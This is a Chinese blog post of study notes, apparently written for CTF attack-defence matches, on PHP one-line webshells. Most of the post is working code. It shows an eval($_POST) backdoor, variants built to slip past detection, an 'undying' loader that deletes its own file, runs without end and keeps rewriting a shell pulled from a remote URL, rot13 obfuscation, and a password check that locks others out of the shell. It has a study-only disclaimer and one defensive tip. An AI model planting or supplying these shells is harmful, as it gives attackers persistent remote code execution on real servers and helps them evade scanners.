木马学习笔记 1【一句话木马篇】

注意注意：本博客仅供学习交流使用，不可用于任何违法行为中，学信息安全，保卫我国信息安全，爱我中国~

 

ummmm，之前队内交流提到了线下赛的木马，和表哥们的交流中也认识到很多不足，一边学习，一边进步吧，欢迎大佬留言指点~

下面从一些基本种类的一句话木马开始讲起【PHP环境】，主要讲述一句话木马绕过及不死鸟木马的原理

 

 

1.最最最最基础一句话

 

eval($_POST["test"]);

很多人都知道这个很轻松菜刀直连，这里还是简单截个图说明下

 

说明下，上面左边是你放有这句木马的php文件，右边是俗称的密码，其实稍微懂点php的人都应该很容易能理解这句木马的原理，eval执行函数内的可执行代码，而内部代码是post获取的，所以，ummmm

 

2.绕过第一种姿势

 

$_GET[a]($_GET[b]);

这里不补充详细代码了，提供一个思路，利用assert,eval执行代码，生成一个上面的最基本一句话木马，只要这个代码还在，我就可以随时随地生成我想要的木马文件

 

 

3.不死鸟

 

unlink($_SERVER['SCRIPT_FILENAME']);
ignore_user_abort(true);
set_time_limit(0);
$remote_file = 'url';

while($code = file_get_contents($remote_file)){
file_put_contents('./1.php',$code);
sleep(5);
}; 

不死鸟的核心是开头三句话，含义是删除自己本身文件，自身永驻内存，并且没有执行次数限制，

 

中间的代码很简单，读取你储存在某个地方的一句话木马，在目标服务器中产生，配合上sleep（5），效果就是，没五秒产生一个一句话木马（删除继续产生，俗称的不死鸟）

对付这种木马，目前最有效的办法就是重启PHP服务器

 

4.绕过姿势2

 

#($_=@$_GET[qswfei]).@$_($_POST[dsafsdfe])

#?qswfei=assert
#连接密码:dsafsdfe
#d盾报病毒

如上所示，D盾报毒，ummm，比赛面前用用吧，实际中估计已经废了

 

 

 

5.其他杂碎知识

 

#include ($filename);
//危险的include函数，直接编译任何文件为php格式运行

#echo str_rot13('riny');    eval

#$_POST['sa']($_POST['sb']);

#fopen("testfile.txt", "w")

#限制别人连接，md5验证下，pass=wsrW12R#@WEuy9()
#$_POST['pass'])=='	d0ae51216453365ad68537ae5da38fc4'

 

 

 

 

知识所限，暂时总结这么多，总的还是，把各种各样的知识结合到一起，多看看PHP一些冷门函数，混合搭配起来，就是一个很优秀的一句话木马了

 

另：欢迎大佬留下博客地址或者一些建议一起交流，为大佬端茶！